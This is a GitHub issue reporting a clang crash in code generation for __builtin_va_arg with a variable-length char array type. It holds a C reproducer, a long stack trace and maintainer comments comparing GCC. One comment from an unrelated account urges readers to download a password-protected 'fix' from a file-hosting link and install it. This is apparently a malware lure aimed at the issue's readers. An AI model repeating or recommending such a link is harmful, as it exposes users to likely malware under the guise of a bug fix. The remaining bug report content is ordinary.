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hnarkaytis opened this issue Aug 27, 2024 · 3 comments
Open

Crash on va_arg with variable size type #106174

hnarkaytis opened this issue Aug 27, 2024 · 3 comments
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clang:codegen IR generation bugs: mangling, exceptions, etc. confirmed Verified by a second party crash Prefer [crash-on-valid] or [crash-on-invalid]

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@hnarkaytis
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hnarkaytis commented Aug 27, 2024 •
edited by tbaederr
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x86-64 clang (trunk)

#include <stdarg.h>

void * foo (int size, ...)
{
  va_list va_args;
  __builtin_va_start (va_args, size);
  void * ptr = __builtin_va_arg (va_args, char[size]);
  __builtin_va_end (va_args);
  return (ptr);
}

int main ()
{
  foo (sizeof (0), 0);
  return (0);
}
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace, preprocessed source, and associated run script.
Stack dump:
0.	Program arguments: /opt/compiler-explorer/clang-trunk/bin/clang -gdwarf-4 -g -o /app/output.s -mllvm --x86-asm-syntax=intel -fno-verbose-asm -S --gcc-toolchain=/opt/compiler-explorer/gcc-snapshot -fcolor-diagnostics -fno-crash-diagnostics -O1 <source>
1.	<source>:12:1: current parser token 'int'
2.	<source>:3:8: LLVM IR generation of declaration 'foo'
3.	<source>:3:8: Generating code for declaration 'foo'
 #0 0x000000000387c138 llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) (/opt/compiler-explorer/clang-trunk/bin/clang+0x387c138)
 #1 0x000000000387a2a4 llvm::sys::CleanupOnSignal(unsigned long) (/opt/compiler-explorer/clang-trunk/bin/clang+0x387a2a4)
 #2 0x00000000037c4988 CrashRecoverySignalHandler(int) CrashRecoveryContext.cpp:0:0
 #3 0x00007b6690e42520 (/lib/x86_64-linux-gnu/libc.so.6+0x42520)
 #4 0x0000000003febbe5 clang::CodeGen::CodeGenFunction::EmitAggregateCopy(clang::CodeGen::LValue, clang::CodeGen::LValue, clang::QualType, clang::CodeGen::AggValueSlot::Overlap_t, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3febbe5)
 #5 0x0000000003fec905 (anonymous namespace)::AggExprEmitter::EmitCopy(clang::QualType, clang::CodeGen::AggValueSlot const&, clang::CodeGen::AggValueSlot const&) (.isra.0) CGExprAgg.cpp:0:0
 #6 0x0000000003fed7b5 (anonymous namespace)::AggExprEmitter::EmitFinalDestCopy(clang::QualType, clang::CodeGen::LValue const&, clang::CodeGen::CodeGenFunction::ExprValueKind) CGExprAgg.cpp:0:0
 #7 0x0000000003fee223 clang::CodeGen::CodeGenFunction::EmitAggFinalDestCopy(clang::QualType, clang::CodeGen::AggValueSlot, clang::CodeGen::LValue const&, clang::CodeGen::CodeGenFunction::ExprValueKind) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fee223)
 #8 0x0000000003fcf98f clang::CodeGen::CodeGenFunction::EmitLoadOfAnyValue(clang::CodeGen::LValue, clang::CodeGen::AggValueSlot, clang::SourceLocation) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fcf98f)
 #9 0x0000000003d72fb0 (anonymous namespace)::X86_64ABIInfo::EmitVAArg(clang::CodeGen::CodeGenFunction&, clang::CodeGen::Address, clang::QualType, clang::CodeGen::AggValueSlot) const X86.cpp:0:0
#10 0x0000000003f3dad0 clang::CodeGen::CodeGenFunction::EmitVAArg(clang::VAArgExpr*, clang::CodeGen::Address&, clang::CodeGen::AggValueSlot) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f3dad0)
#11 0x0000000003ff13c8 (anonymous namespace)::AggExprEmitter::Visit(clang::Expr*) CGExprAgg.cpp:0:0
#12 0x0000000003ff1ed9 clang::CodeGen::CodeGenFunction::EmitAggExpr(clang::Expr const*, clang::CodeGen::AggValueSlot) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3ff1ed9)
#13 0x0000000003ff2b7d clang::CodeGen::CodeGenFunction::EmitAggExprToLValue(clang::Expr const*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3ff2b7d)
#14 0x0000000003fd5016 clang::CodeGen::CodeGenFunction::EmitLValueHelper(clang::Expr const*, clang::CodeGen::KnownNonNull_t) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fd5016)
#15 0x0000000003fd8925 clang::CodeGen::CodeGenFunction::EmitArrayToPointerDecay(clang::Expr const*, clang::CodeGen::LValueBaseInfo*, clang::CodeGen::TBAAAccessInfo*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fd8925)
#16 0x000000000403456b (anonymous namespace)::ScalarExprEmitter::VisitCastExpr(clang::CastExpr*) CGExprScalar.cpp:0:0
#17 0x000000000402caa2 clang::StmtVisitorBase<std::add_pointer, (anonymous namespace)::ScalarExprEmitter, llvm::Value*>::Visit(clang::Stmt*) CGExprScalar.cpp:0:0
#18 0x000000000402e49b (anonymous namespace)::ScalarExprEmitter::Visit(clang::Expr*) CGExprScalar.cpp:0:0
#19 0x0000000004032f5b (anonymous namespace)::ScalarExprEmitter::VisitCastExpr(clang::CastExpr*) CGExprScalar.cpp:0:0
#20 0x000000000402caa2 clang::StmtVisitorBase<std::add_pointer, (anonymous namespace)::ScalarExprEmitter, llvm::Value*>::Visit(clang::Stmt*) CGExprScalar.cpp:0:0
#21 0x0000000004031622 clang::CodeGen::CodeGenFunction::EmitScalarExpr(clang::Expr const*, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x4031622)
#22 0x0000000003f8aefb clang::CodeGen::CodeGenFunction::EmitScalarInit(clang::Expr const*, clang::ValueDecl const*, clang::CodeGen::LValue, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f8aefb)
#23 0x0000000003f8c2e3 clang::CodeGen::CodeGenFunction::EmitExprAsInit(clang::Expr const*, clang::ValueDecl const*, clang::CodeGen::LValue, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f8c2e3)
#24 0x0000000003f9487b clang::CodeGen::CodeGenFunction::EmitAutoVarInit(clang::CodeGen::CodeGenFunction::AutoVarEmission const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f9487b)
#25 0x0000000003f9a9fc clang::CodeGen::CodeGenFunction::EmitVarDecl(clang::VarDecl const&) (.part.0) CGDecl.cpp:0:0
#26 0x0000000003f9aac8 clang::CodeGen::CodeGenFunction::EmitDecl(clang::Decl const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f9aac8)
#27 0x0000000003bae39f clang::CodeGen::CodeGenFunction::EmitDeclStmt(clang::DeclStmt const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bae39f)
#28 0x0000000003bc2cfa clang::CodeGen::CodeGenFunction::EmitSimpleStmt(clang::Stmt const*, llvm::ArrayRef<clang::Attr const*>) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bc2cfa)
#29 0x0000000003bbbb72 clang::CodeGen::CodeGenFunction::EmitStmt(clang::Stmt const*, llvm::ArrayRef<clang::Attr const*>) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bbbb72)
#30 0x0000000003bc27a9 clang::CodeGen::CodeGenFunction::EmitCompoundStmtWithoutScope(clang::CompoundStmt const&, bool, clang::CodeGen::AggValueSlot) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bc27a9)
#31 0x0000000003c2a2ba clang::CodeGen::CodeGenFunction::EmitFunctionBody(clang::Stmt const*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c2a2ba)
#32 0x0000000003c371f8 clang::CodeGen::CodeGenFunction::GenerateCode(clang::GlobalDecl, llvm::Function*, clang::CodeGen::CGFunctionInfo const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c371f8)
#33 0x0000000003c915bb clang::CodeGen::CodeGenModule::EmitGlobalFunctionDefinition(clang::GlobalDecl, llvm::GlobalValue*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c915bb)
#34 0x0000000003c8ce25 clang::CodeGen::CodeGenModule::EmitGlobalDefinition(clang::GlobalDecl, llvm::GlobalValue*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c8ce25)
#35 0x0000000003c8d7b0 clang::CodeGen::CodeGenModule::EmitGlobal(clang::GlobalDecl) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c8d7b0)
#36 0x0000000003c96e97 clang::CodeGen::CodeGenModule::EmitTopLevelDecl(clang::Decl*) (.part.0) CodeGenModule.cpp:0:0
#37 0x00000000041580ae (anonymous namespace)::CodeGeneratorImpl::HandleTopLevelDecl(clang::DeclGroupRef) ModuleBuilder.cpp:0:0
#38 0x0000000004149bc9 clang::BackendConsumer::HandleTopLevelDecl(clang::DeclGroupRef) (/opt/compiler-explorer/clang-trunk/bin/clang+0x4149bc9)
#39 0x00000000061048f4 clang::ParseAST(clang::Sema&, bool, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x61048f4)
#40 0x0000000004155ec5 clang::CodeGenAction::ExecuteAction() (/opt/compiler-explorer/clang-trunk/bin/clang+0x4155ec5)
#41 0x00000000043fd3b1 clang::FrontendAction::Execute() (/opt/compiler-explorer/clang-trunk/bin/clang+0x43fd3b1)
#42 0x000000000437fb8b clang::CompilerInstance::ExecuteAction(clang::FrontendAction&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x437fb8b)
#43 0x00000000044e48f3 clang::ExecuteCompilerInvocation(clang::CompilerInstance*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x44e48f3)
#44 0x0000000000cb4ccc cc1_main(llvm::ArrayRef<char const*>, char const*, void*) (/opt/compiler-explorer/clang-trunk/bin/clang+0xcb4ccc)
#45 0x0000000000caec0d ExecuteCC1Tool(llvm::SmallVectorImpl<char const*>&, llvm::ToolContext const&) driver.cpp:0:0
#46 0x000000000419f189 void llvm::function_ref<void ()>::callback_fn<clang::driver::CC1Command::Execute(llvm::ArrayRef<std::optional<llvm::StringRef>>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>*, bool*) const::'lambda'()>(long) Job.cpp:0:0
#47 0x00000000037c4db3 llvm::CrashRecoveryContext::RunSafely(llvm::function_ref<void ()>) (/opt/compiler-explorer/clang-trunk/bin/clang+0x37c4db3)
#48 0x000000000419f3a9 clang::driver::CC1Command::Execute(llvm::ArrayRef<std::optional<llvm::StringRef>>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>*, bool*) const (.part.0) Job.cpp:0:0
#49 0x0000000004164f47 clang::driver::Compilation::ExecuteCommand(clang::driver::Command const&, clang::driver::Command const*&, bool) const (/opt/compiler-explorer/clang-trunk/bin/clang+0x4164f47)
#50 0x00000000041658fd clang::driver::Compilation::ExecuteJobs(clang::driver::JobList const&, llvm::SmallVectorImpl<std::pair<int, clang::driver::Command const*>>&, bool) const (/opt/compiler-explorer/clang-trunk/bin/clang+0x41658fd)
#51 0x000000000416f45c clang::driver::Driver::ExecuteCompilation(clang::driver::Compilation&, llvm::SmallVectorImpl<std::pair<int, clang::driver::Command const*>>&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x416f45c)
#52 0x0000000000cb1fb1 clang_main(int, char**, llvm::ToolContext const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0xcb1fb1)
#53 0x0000000000b87ce4 main (/opt/compiler-explorer/clang-trunk/bin/clang+0xb87ce4)
#54 0x00007b6690e29d90 (/lib/x86_64-linux-gnu/libc.so.6+0x29d90)
#55 0x00007b6690e29e40 __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e40)
#56 0x0000000000cae6ae _start (/opt/compiler-explorer/clang-trunk/bin/clang+0xcae6ae)
clang: error: clang frontend command failed with exit code 139 (use -v to see invocation)
Compiler returned: 139
@amir1387aht
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to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@EugeneZelenko EugeneZelenko added clang:codegen IR generation bugs: mangling, exceptions, etc. crash Prefer [crash-on-valid] or [crash-on-invalid] and removed new issue labels Aug 27, 2024
@llvmbot
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llvmbot commented Aug 27, 2024

@llvm/issue-subscribers-clang-codegen

Author: Herman Narkaytis (hnarkaytis)

x86-64 clang (trunk) 
#include &lt;stdarg.h&gt;

void * foo (int size, ...)
{
  va_list va_args;
  __builtin_va_start (va_args, size);
  void * ptr = __builtin_va_arg (va_args, char[size]);
  __builtin_va_end (va_args);
  return (ptr);
}

int main ()
{
  foo (sizeof (0), 0);
  return (0);
}

PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace, preprocessed source, and associated run script.
Stack dump:
0. Program arguments: /opt/compiler-explorer/clang-trunk/bin/clang -gdwarf-4 -g -o /app/output.s -mllvm --x86-asm-syntax=intel -fno-verbose-asm -S --gcc-toolchain=/opt/compiler-explorer/gcc-snapshot -fcolor-diagnostics -fno-crash-diagnostics -O1 <source>

  1. <source>:12:1: current parser token 'int'
  2. <source>:3:8: LLVM IR generation of declaration 'foo'
  3. <source>:3:8: Generating code for declaration 'foo'
    #0 0x000000000387c138 llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) (/opt/compiler-explorer/clang-trunk/bin/clang+0x387c138)
    #1 0x000000000387a2a4 llvm::sys::CleanupOnSignal(unsigned long) (/opt/compiler-explorer/clang-trunk/bin/clang+0x387a2a4)
    #2 0x00000000037c4988 CrashRecoverySignalHandler(int) CrashRecoveryContext.cpp:0:0
    #3 0x00007b6690e42520 (/lib/x86_64-linux-gnu/libc.so.6+0x42520)
    #4 0x0000000003febbe5 clang::CodeGen::CodeGenFunction::EmitAggregateCopy(clang::CodeGen::LValue, clang::CodeGen::LValue, clang::QualType, clang::CodeGen::AggValueSlot::Overlap_t, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3febbe5)
    #5 0x0000000003fec905 (anonymous namespace)::AggExprEmitter::EmitCopy(clang::QualType, clang::CodeGen::AggValueSlot const&, clang::CodeGen::AggValueSlot const&) (.isra.0) CGExprAgg.cpp:0:0
    #6 0x0000000003fed7b5 (anonymous namespace)::AggExprEmitter::EmitFinalDestCopy(clang::QualType, clang::CodeGen::LValue const&, clang::CodeGen::CodeGenFunction::ExprValueKind) CGExprAgg.cpp:0:0
    #7 0x0000000003fee223 clang::CodeGen::CodeGenFunction::EmitAggFinalDestCopy(clang::QualType, clang::CodeGen::AggValueSlot, clang::CodeGen::LValue const&, clang::CodeGen::CodeGenFunction::ExprValueKind) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fee223)
    #8 0x0000000003fcf98f clang::CodeGen::CodeGenFunction::EmitLoadOfAnyValue(clang::CodeGen::LValue, clang::CodeGen::AggValueSlot, clang::SourceLocation) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fcf98f)
    #9 0x0000000003d72fb0 (anonymous namespace)::X86_64ABIInfo::EmitVAArg(clang::CodeGen::CodeGenFunction&, clang::CodeGen::Address, clang::QualType, clang::CodeGen::AggValueSlot) const X86.cpp:0:0
    #10 0x0000000003f3dad0 clang::CodeGen::CodeGenFunction::EmitVAArg(clang::VAArgExpr*, clang::CodeGen::Address&, clang::CodeGen::AggValueSlot) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f3dad0)
    #11 0x0000000003ff13c8 (anonymous namespace)::AggExprEmitter::Visit(clang::Expr*) CGExprAgg.cpp:0:0
    #12 0x0000000003ff1ed9 clang::CodeGen::CodeGenFunction::EmitAggExpr(clang::Expr const*, clang::CodeGen::AggValueSlot) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3ff1ed9)
    #13 0x0000000003ff2b7d clang::CodeGen::CodeGenFunction::EmitAggExprToLValue(clang::Expr const*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3ff2b7d)
    #14 0x0000000003fd5016 clang::CodeGen::CodeGenFunction::EmitLValueHelper(clang::Expr const*, clang::CodeGen::KnownNonNull_t) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fd5016)
    #15 0x0000000003fd8925 clang::CodeGen::CodeGenFunction::EmitArrayToPointerDecay(clang::Expr const*, clang::CodeGen::LValueBaseInfo*, clang::CodeGen::TBAAAccessInfo*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3fd8925)
    #16 0x000000000403456b (anonymous namespace)::ScalarExprEmitter::VisitCastExpr(clang::CastExpr*) CGExprScalar.cpp:0:0
    #17 0x000000000402caa2 clang::StmtVisitorBase<std::add_pointer, (anonymous namespace)::ScalarExprEmitter, llvm::Value*>::Visit(clang::Stmt*) CGExprScalar.cpp:0:0
    #18 0x000000000402e49b (anonymous namespace)::ScalarExprEmitter::Visit(clang::Expr*) CGExprScalar.cpp:0:0
    #19 0x0000000004032f5b (anonymous namespace)::ScalarExprEmitter::VisitCastExpr(clang::CastExpr*) CGExprScalar.cpp:0:0
    #20 0x000000000402caa2 clang::StmtVisitorBase<std::add_pointer, (anonymous namespace)::ScalarExprEmitter, llvm::Value*>::Visit(clang::Stmt*) CGExprScalar.cpp:0:0
    #21 0x0000000004031622 clang::CodeGen::CodeGenFunction::EmitScalarExpr(clang::Expr const*, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x4031622)
    #22 0x0000000003f8aefb clang::CodeGen::CodeGenFunction::EmitScalarInit(clang::Expr const*, clang::ValueDecl const*, clang::CodeGen::LValue, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f8aefb)
    #23 0x0000000003f8c2e3 clang::CodeGen::CodeGenFunction::EmitExprAsInit(clang::Expr const*, clang::ValueDecl const*, clang::CodeGen::LValue, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f8c2e3)
    #24 0x0000000003f9487b clang::CodeGen::CodeGenFunction::EmitAutoVarInit(clang::CodeGen::CodeGenFunction::AutoVarEmission const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f9487b)
    #25 0x0000000003f9a9fc clang::CodeGen::CodeGenFunction::EmitVarDecl(clang::VarDecl const&) (.part.0) CGDecl.cpp:0:0
    #26 0x0000000003f9aac8 clang::CodeGen::CodeGenFunction::EmitDecl(clang::Decl const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3f9aac8)
    #27 0x0000000003bae39f clang::CodeGen::CodeGenFunction::EmitDeclStmt(clang::DeclStmt const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bae39f)
    #28 0x0000000003bc2cfa clang::CodeGen::CodeGenFunction::EmitSimpleStmt(clang::Stmt const*, llvm::ArrayRef<clang::Attr const*>) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bc2cfa)
    #29 0x0000000003bbbb72 clang::CodeGen::CodeGenFunction::EmitStmt(clang::Stmt const*, llvm::ArrayRef<clang::Attr const*>) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bbbb72)
    #30 0x0000000003bc27a9 clang::CodeGen::CodeGenFunction::EmitCompoundStmtWithoutScope(clang::CompoundStmt const&, bool, clang::CodeGen::AggValueSlot) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3bc27a9)
    #31 0x0000000003c2a2ba clang::CodeGen::CodeGenFunction::EmitFunctionBody(clang::Stmt const*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c2a2ba)
    #32 0x0000000003c371f8 clang::CodeGen::CodeGenFunction::GenerateCode(clang::GlobalDecl, llvm::Function*, clang::CodeGen::CGFunctionInfo const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c371f8)
    #33 0x0000000003c915bb clang::CodeGen::CodeGenModule::EmitGlobalFunctionDefinition(clang::GlobalDecl, llvm::GlobalValue*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c915bb)
    #34 0x0000000003c8ce25 clang::CodeGen::CodeGenModule::EmitGlobalDefinition(clang::GlobalDecl, llvm::GlobalValue*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c8ce25)
    #35 0x0000000003c8d7b0 clang::CodeGen::CodeGenModule::EmitGlobal(clang::GlobalDecl) (/opt/compiler-explorer/clang-trunk/bin/clang+0x3c8d7b0)
    #36 0x0000000003c96e97 clang::CodeGen::CodeGenModule::EmitTopLevelDecl(clang::Decl*) (.part.0) CodeGenModule.cpp:0:0
    #37 0x00000000041580ae (anonymous namespace)::CodeGeneratorImpl::HandleTopLevelDecl(clang::DeclGroupRef) ModuleBuilder.cpp:0:0
    #38 0x0000000004149bc9 clang::BackendConsumer::HandleTopLevelDecl(clang::DeclGroupRef) (/opt/compiler-explorer/clang-trunk/bin/clang+0x4149bc9)
    #39 0x00000000061048f4 clang::ParseAST(clang::Sema&, bool, bool) (/opt/compiler-explorer/clang-trunk/bin/clang+0x61048f4)
    #40 0x0000000004155ec5 clang::CodeGenAction::ExecuteAction() (/opt/compiler-explorer/clang-trunk/bin/clang+0x4155ec5)
    #41 0x00000000043fd3b1 clang::FrontendAction::Execute() (/opt/compiler-explorer/clang-trunk/bin/clang+0x43fd3b1)
    #42 0x000000000437fb8b clang::CompilerInstance::ExecuteAction(clang::FrontendAction&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x437fb8b)
    #43 0x00000000044e48f3 clang::ExecuteCompilerInvocation(clang::CompilerInstance*) (/opt/compiler-explorer/clang-trunk/bin/clang+0x44e48f3)
    #44 0x0000000000cb4ccc cc1_main(llvm::ArrayRef<char const*>, char const*, void*) (/opt/compiler-explorer/clang-trunk/bin/clang+0xcb4ccc)
    #45 0x0000000000caec0d ExecuteCC1Tool(llvm::SmallVectorImpl<char const*>&, llvm::ToolContext const&) driver.cpp:0:0
    #46 0x000000000419f189 void llvm::function_ref<void ()>::callback_fn<clang::driver::CC1Command::Execute(llvm::ArrayRef<std::optional<llvm::StringRef>>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, bool) const::'lambda'()>(long) Job.cpp:0:0
    #47 0x00000000037c4db3 llvm::CrashRecoveryContext::RunSafely(llvm::function_ref<void ()>) (/opt/compiler-explorer/clang-trunk/bin/clang+0x37c4db3)
    #48 0x000000000419f3a9 clang::driver::CC1Command::Execute(llvm::ArrayRef<std::optional<llvm::StringRef>>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, bool) const (.part.0) Job.cpp:0:0
    #49 0x0000000004164f47 clang::driver::Compilation::ExecuteCommand(clang::driver::Command const&, clang::driver::Command const*&, bool) const (/opt/compiler-explorer/clang-trunk/bin/clang+0x4164f47)
    #50 0x00000000041658fd clang::driver::Compilation::ExecuteJobs(clang::driver::JobList const&, llvm::SmallVectorImpl<std::pair<int, clang::driver::Command const*>>&, bool) const (/opt/compiler-explorer/clang-trunk/bin/clang+0x41658fd)
    #51 0x000000000416f45c clang::driver::Driver::ExecuteCompilation(clang::driver::Compilation&, llvm::SmallVectorImpl<std::pair<int, clang::driver::Command const*>>&) (/opt/compiler-explorer/clang-trunk/bin/clang+0x416f45c)
    #52 0x0000000000cb1fb1 clang_main(int, char**, llvm::ToolContext const&) (/opt/compiler-explorer/clang-trunk/bin/clang+0xcb1fb1)
    #53 0x0000000000b87ce4 main (/opt/compiler-explorer/clang-trunk/bin/clang+0xb87ce4)
    #54 0x00007b6690e29d90 (/lib/x86_64-linux-gnu/libc.so.6+0x29d90)
    #55 0x00007b6690e29e40 __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e40)
    #56 0x0000000000cae6ae _start (/opt/compiler-explorer/clang-trunk/bin/clang+0xcae6ae)
    clang: error: clang frontend command failed with exit code 139 (use -v to see invocation)
    Compiler returned: 139

@shafik
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shafik commented Aug 27, 2024 •
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gcc errors out on this: https://godbolt.org/z/nsj8K448P but ICEs in C mode: https://godbolt.org/z/57doW63We

@hnarkaytis
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GCC has this issue since 2020 https://gcc.gnu.org/bugzilla/show_bug.cgi?id=97986
My bug was closed as duplicate https://gcc.gnu.org/bugzilla/show_bug.cgi?id=116495
Clang was affected since 3.7 - 2015

@AaronBallman AaronBallman added the confirmed Verified by a second party label Aug 27, 2024
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clang:codegen IR generation bugs: mangling, exceptions, etc. confirmed Verified by a second party crash Prefer [crash-on-valid] or [crash-on-invalid]
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